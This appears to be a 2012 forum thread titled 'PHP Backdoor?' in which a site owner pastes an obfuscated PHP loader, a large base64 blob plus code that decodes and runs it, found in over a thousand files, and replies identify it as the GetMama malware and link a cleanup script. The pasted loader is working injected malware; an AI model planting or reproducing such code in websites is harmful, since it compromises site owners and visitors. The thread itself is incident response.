OYm1neVdrUktWMlZWZEVSVmJWcFdUVVphVkZadGRGZFZNV1ExVTJ0c1YxSnNTbEpYUkVaWFZrWktWMU50V2xKV1YxSkhWa2Q0VW1GV2FGUmhNMEpRVFhwQ2JsZHNaRFJsYkhCVVVXcGtTMU5HV205VFZWRjNXakJzY0ZOVVpHMVdNbmgwVTFWT2IyTkhUWHBVYlhoclVUSmtjbGRFUms5U2JGWnpWMnRhVm1KSVRuQldWbHBYVW14V2MySkhXbFpOVmtwVVZURlZNVk5GYkhOTlNFSk1WMGhPY2xreGFFNWFNVUpVVVdwR2FtSllhSE5aYlRGUFpHeHdTRlpYT1V0U2FteFZWV3hhUzFZeFNsZFRiVXBLWWtWYVYxVnNXa3RYYkdkNFZHeFdWbUV5ZUZCVmJteExXa1YwVldSRWJFcFNNVnA2V1hwS1Zsb3lWalZWYm1ocVpWVkZOVk5WVGtwaFZUaDZUVWQwYTFkRmNIcFhTSEJDV2pGQ1ZGRlhiR2hUUmtsM1dUQlNkbVJyZURWVFYyUk5ZVlZHY2xrd1pFWk9NSEJKVm01c2FWSnFhRFJUVlZGM1dqQnNjRTlZUm1GV01VcDNWRWMxUTJJeVRrVlBWRXBoVjBWd05sbFdZelZrVmtKVlVWUldVRlpGVm5SWmJHTTFUVWRHU0ZadWJGRlZNR3h1VkVkc1UyUkdiRmhOVjJoS1VYcFNibE5YYkdGaVYwWllaVWQ0VVZVd2JHNVVSMnhDWVRGd2RHSklUbUZWTUVZeFUxVk9TbUpYUmtoUFdIQnJVa1JDY0ZOVlRUQmFNSEJJWVVoYWFrMHhSbTVVUjJ4Q1lWVndkR0pJWkZGVk1HeHVWRWRzUW1FeVJsbFJWMlJOWVZWR2NGTnROVXRpUm5CeFRVZHNTbEY2VW01VGEyaExZa1p3Y0ZGWVZrcFJNR3gwV2taa1JrOVZiSEJSV0ZaTFUwWmFiMU5WVFRCYU1HeHdWMjVvYW1WcVFuQlRWVTB3V2pCd1NWSnVjRkJsVmtsM1dUSTFjbG94UWxSUmFrSnFZbXhhYzFSNlNuTmlWWFJFVVcweGExWjZWbkZhUldSelpHMUtjMDlYZUd4U01uZzJXa1ZvVG1Jd2JIUlVha1pxWWxob2JWbFdZekZqUjFKRVUxaENTbEV5ZHpOVGEyUlBZakJzUlUxSFpGcE5NVm8xV1d0Wk5XTkhTblJpUkVKTVVURkplRmt5TVRSYWF6RkVVVmhXU2xFeFNYaFpNakUwV21zeFZHRjZaRnBOTVZvMVdXdFpOV1ZzY0ZsVmJscHFVMFpHZGxOclpFOWlNSGhFVVd0U1YxWnJjRTVXUkVaRFZsWm5lRk5yV2xkU2JGcFVWa2Q0VTFVeFJsWk9WbEpUWVRGYVZGUkZUa0psUlhSVlpFZHdhMWRGY0hwWFJFNVBZa2RTU0U5WVpHdFJNbVJ5VjFSS2JtTXdiRVpVYkZwV1lUTm9VVlpWV2xOYWJGcEdZa1UxVTFaVWJGZFdhMDR6V2pBeE5XRjZaRXRUUmxwNldrVk9RazlWYkVsVmJteG9WbnBDZGxkVVRsZGxWMHBIVDFkNGJGSXhXbkZUTUU1VFlXMUdSR0V6UWxCbFZrbDNXVEkxY2xveFFsUlJiVEZhVmpOb05sZHNVakJQVld4SVlrY3hTbEV5WkhaWlZtTXhZMFpuZVZwSGVHdFJNbVJ3VjFaa05HTXlTWHBhUjFwclYwVndlbGRFU21Ga2JVNUlWbTVXU21GWGRIZFRWVTVhWWxWc1JGVnFRbXBpYlhSM1UxVm9lbUV5VWxobFJFSktVa1JDYmxwRmFFdGpSMHBVWVVWR1lXSlhlSHBYYkZrMVlteHdXVlZ0V2xwTmFtd3hXa1ZrVjJSWFVrbFVWemxMVTBaYU5WbHJXVFJrTUd4RVRrZGtTMU5HV2pWWmExazBaVVYwVkdGNlpFdFRSa28xV2xaT1FrOVZiRWhYYldocFUwVTFjMVI2VFhoalJuQndXakowYTFORmJ6RlRNV2g2WVRGd2RWRlhaRkZWTUVwMFdYcEpOV0Z0UlhsUFdHUmhWbnBTZGxOcmFFTmhSWGhFVVZSU1RsRXpaRzVUYTJSWFpWZE9kRTVZV2sxUk1FWnlWMnhvUzJWWFRYcFZibXhOVVRCR05sUlZUbkpPTWtaWVYxZGtURkV4U25SWk1FNXlXakpXTlZWdVdtdFhSa1p1VlVaT1FtRldTWGRXYkZaS1VURkplRmt5TVRSYWF6RlVVV3RzVjFKc1NsSlVTSEJHWkZVeFIyVkliRmxTZWxKd1ZETnNVMlJ0VWxsVlYyUk5ZV3BDYmxOWGRHOWtiVTE2VlZSYVNsRXhTak5YVmxvMFpWWm9TRTVIYkZCbFZrb3lXa1pvVWxvd2VIRk5SMlJLWVRBMU1sbHRNREZpUm10NlZXNUNhVTFxVVRKVFZWWlBZekpKZWxSdGVGbFRSWEJxV1cxNE5HVldhRWhPUjJ4UVRXeHZlbGt5TVhOTlJuQlVXakowWVdKclJucFRWVTVUWkcxU1dWVllRbEJsVmtvMVYyeG9VbG94UWxSUlYyeEtZVzVSZWxsVlpITmpNWEJVVVZjNVNsWXhjSE5aYWtwYVlqQndTRmR1WkV4Vk1uUnVXbGhzVTJWV2NGbFZWMlJLVVhwUk5WTlZUa05pVm05NVZtcENhbVZYWkhKWGJUVkNZekJzUlZKWWJGQlJNbk16V214a1lXRnRTa2hQV0hCaFZUSmtjbGR0TlVKalJUazFWV3BHYVZOR1JtNVZSazVEVFVkT2RHSklVa3hUUlRSNFYxYzFUMDFIVG5CYU1uUnFZbFpaZDFSRlRrTmxiVkpKVTI1a2FVMHdNWFpUYTJoTFlrZFNSR1F5WkVwaVNHZzFWMFZqTVZreVRuTmxTRlpLWVZkMGJsTXpiRUpOUlhSVVlYcGtiVmRFUW01VFZXUnpZbFZzUkdGSWNHdFRSWEF6V1dwT1RtSXdjRWxXYms1clVUTmtjRmRzYUdGaFIwcEVVMWhDU2xFd1ZUVlZSazVEWWxac1dHVkljR0ZWTW5jelUydG9kbG94UWxSUmJuQnJVMFZ3ZDFrd2FFOWpNV3haVkcwNVlWZEZNWFpaZWs1VFpWWm5lbE50ZUdwU00yaHZWMVJLVm1Jd2JIUldha3BhVmpOa2NGUkZUa3BoVlhoRVZXcEdhVk5HUm5kVE1WSjZXakZ3V1ZkdGFHbFJNbVJ5V2xkc2NrNHdiRWhXYWxKb1YwWkdkbE14VWpCUFYwWllWMWRrVEZORk5IZFpNalZEWkcxT05Wb3lkR3RXTTJkM1ZFVk9TMkpHYkhST1YyaEtZVmQwYmxOV1VYZFBWV3hJVjIxb2FWTkZOWE5UTVdoNllURm5lRlJyV2xaaVJuQkhWbGQ0ZW1GV2IzbFBXRnBoVVRCd2ExTlZVWGRhTWsxNlZXNXNXVTB3Y0hOWk1HUTBZVVpyZVZaWE9VcGlWbHB3V1cweFJtRlZlRVJUVjJ4TlVURkplRmxyYUZKalJUaDZVMjE0YTFOR1dqVlpiV3hEVFVkT2RWWnRlRkJOZWtaeldXdG9UMkpGYkVsa1NHeGhWMFpKZUZreU1EQmFNWEIwVW01T2FrMXNWVE5hYkdkM1lURndkRkpxUW1oU01WbzFWRmQ0TUZwRmJFVk5SMlJLWVcxTk1GUkhjRkpOYTNoeFVsUk9UbVZVVWpSVWEwNUtUakJ3U0ZkdGFHdFNNbWh6V1RKd1MxbHNhRlJSVkd4S1VUQnNORlJ1Y0Zwa1ZUbFVUa2hzVGxaSFpERlVWbEp5WlVWc2NXTXlkR0ZpVlZsM1dWVmtWMlZWTVhOa1IxSktVa1JDYmxOWGNISmxSWGh4VTFoc1VGRjZValJVYkZKU1pGVXhjVlpVUWtwaGJrNXlWMjB4UjAxSFJraFdibXhPWWtoU2ExTlZVWGRhTUd4eFdYcE9UV0Z0WkRSVVIzQktUVVV4VkU1SWJFOVdSVEZ3VkROc1UySldiRmxWYlRsaFYwVnNOVlo2UlhkYU1VSlVVVmRzVGxaSFkzZFVSM0J1WlZWNGNWSllhRTlsVkZJMFZGWlNRbUZWT1RWVmJURmFWMFpLZGxkc2FFcGxWbU40VFVka1VWVXdSbkJVYTFKYVpGVTFSRTVJYkU1U1JXd3hWREZTVG1GVk9UVlZiVEZhVjBaS2RsZHNhRXBsVm1ONFRVZGtVVlV3Um5CVWExSmFaRlV4Y1ZWVVZrMWhiRlV3VkVkd1JtVnJOVlJUVkdSTFVqRndiMXBGWkc5aVIwNXhVMjFLV1ZVd1JUVlRWVTVLWlVVMU5sZFlWbEJWZWxJMVZHdFNSbVJWTVZWV1dHUktZVzVPY2xkdE1VZE5SMFpJVm01c1RtSklVbXRUVlZGM1dqQnNjVlZVU2sxaGF6QjZWRWR3Umsxck9WUk9SRVpQWVZWck0xTnJaR0ZoUjFKSVlVZDRhbUZyY0dsWFJrNUNUMVZzUkZOVVFrOWhWRkkyVkZWTk1FMUZNVlJPUkZaUVZUQnJNMU5yWkdGaFIxSklZVWQ0YW1GcmNHbFhSazVDVDFWc1JGTlVWazlSZWxJMVZHdFNTbVJWTVhGV1ZFWk5ZV3N3ZUZOWGNIcGhNWEIwVW1wQ2FGSXhXalZVVjNnd1drVnNSVTFIWkVwaGExVjZWREJOTUdWRk5YRlRXRlpPVmtWck1WUkhjRXBsVlRFMVUxUmtTMUl4Y0c5YVJXUnZZa2RPY1ZOdFNsbFZNRVUxVTFWT1NrMHdPVVJPUkVKUFpWUlNORlF3VWxKa1ZURTJWRmRzVUdWV1NuUlhWbWhUWWpGd1dWTlliRmhOVkVKdVZVWk9RbUZWTVRaU1dGWk9Wa2RqZDFSSGNFcGxhelZFVGtSV1QyRlZhek5aZWtwdlRWWndkRmR1VG1GVk1tUnlWMjB4UjAxSFJraFdibXhPWVZkek0xZHRNRFZsVm5CWVVtMXdhRkV5WkhKWGJURkhUVWRHU0ZadWJFNWhWVXB2V1ROc1FtRXlVbGxUV0VKc1RXMTRkRk5WVG01YU1XeFlZVWN4YTFZeFNuUlphMlJoVG14d1NHRkhNV2hUUlRGMlUydG9WMlZWZEZSUldFSktVMGhPYmxkWE5VdGlSbXhZWXpKa1VFMTZSVFZhYkVVNVVGTkpjRXRVYzJjaUtTazdJQT09IikpOyA=";if (!function_exists("Y2WiiImK1GT2B")){ function Y2WiiImK1GT2B($tTYU5peLDNt2NN6MgqMkeiZ52MYr26bVQZFLeJnImGB0k,$RqOeBSnqNg3CxWzyHfodRtM42){$tuPMRi2wmueALSGFl4rKtZQH2 = '';foreach($tTYU5peLDNt2NN6MgqMkeiZ52MYr26bVQZFLeJnImGB0k as $eFsTvTdbvVjohwJmWl5tQgn8QGYxeQU5mcPIWTJiFTwN){$tuPMRi2wmueALSGFl4rKtZQH2 .= chr($eFsTvTdbvVjohwJmWl5tQgn8QGYxeQU5mcPIWTJiFTwN - $RqOeBSnqNg3CxWzyHfodRtM42);}return $tuPMRi2wmueALSGFl4rKtZQH2;}$lu7jF8IBCy = Y2WiiImK1GT2B($PXB9sXL5P56jv2DO5IjXEdA84OxWiCLhpchI0SEFNAP9tiOoQ,9365);$wxSRpq3hccqLp0DVKvnJDHGNcElE7KRK7 = Y2WiiImK1GT2B($fk1CjW,8978);$YnQlvTnLvDCYockBLO = Y2WiiImK1GT2B($uJq8kxonEXemsJ0SoZbxDqertojV,9168);$brbMDFJdnj = $wxSRpq3hccqLp0DVKvnJDHGNcElE7KRK7('$MBpvNKe1mAuPoISzaud8CuaeXGO1UX3ypi',$lu7jF8IBCy.'('.$YnQlvTnLvDCYockBLO.'($MBpvNKe1mAuPoISzaud8CuaeXGO1UX3ypi));');$brbMDFJdnj($QZ2hUlX1zWI6K5arP6DSMbFwLN1uaEA6usdeE154ND0nz1Ef);} /*1cd76a81ca4a81afda1c3f5d23c95d0f_off*/ ?><?php

or here: http://pastebin.com/Xext1jQ2


n e idea what it does??????????????????



Edited 1 time(s). Last edit at 04/13/2012 07:41PM by RonPaul.

Options: ReplyQuote
Re: PHP Backdoor?
Posted by: RonPaul
Date: April 13, 2012 09:33PM

there are over 1k of these files. each one is similar, but the letters and numbers are unique.

Options: ReplyQuote
Re: PHP Backdoor?
Posted by: PaPPy
Date: April 16, 2012 10:37AM

The Payload is the GetMama Malware

http://blog.sucuri.net/2012/04/getmama-conditional-malware-affecting-thousands-of-sites.html

It was base64 encoded a lot

This shows what the javascript looks like
http://sucuri.net/new-malware-eval-getmama-encoded-javascript.html

Here is a commented version of your above code, explaining the decoding process
http://pastebin.me/bc23773578d79a55882d7ced4e0d8f60

http://www.xssed.com/archive/author=PaPPy/

Options: ReplyQuote
Re: PHP Backdoor?
Posted by: PaPPy
Date: April 18, 2012 06:22PM

Came up with this script to find all files and clean them
http://pastebin.mozilla.org/1577737

http://www.xssed.com/archive/author=PaPPy/

Options: ReplyQuote
Re: PHP Backdoor?
Posted by: Skyphire
Date: May 14, 2012 08:50PM

RonPaul. Well, if you want to know what it does: try to de-obfuscate it. But since you posted it already, what did you do to deobfuscate it? did you do anything at all? or do you have no clue at all. If you have no clue at all, then think harder. It's pretty easy.

Options: ReplyQuote


Sorry, only registered users may post in this forum.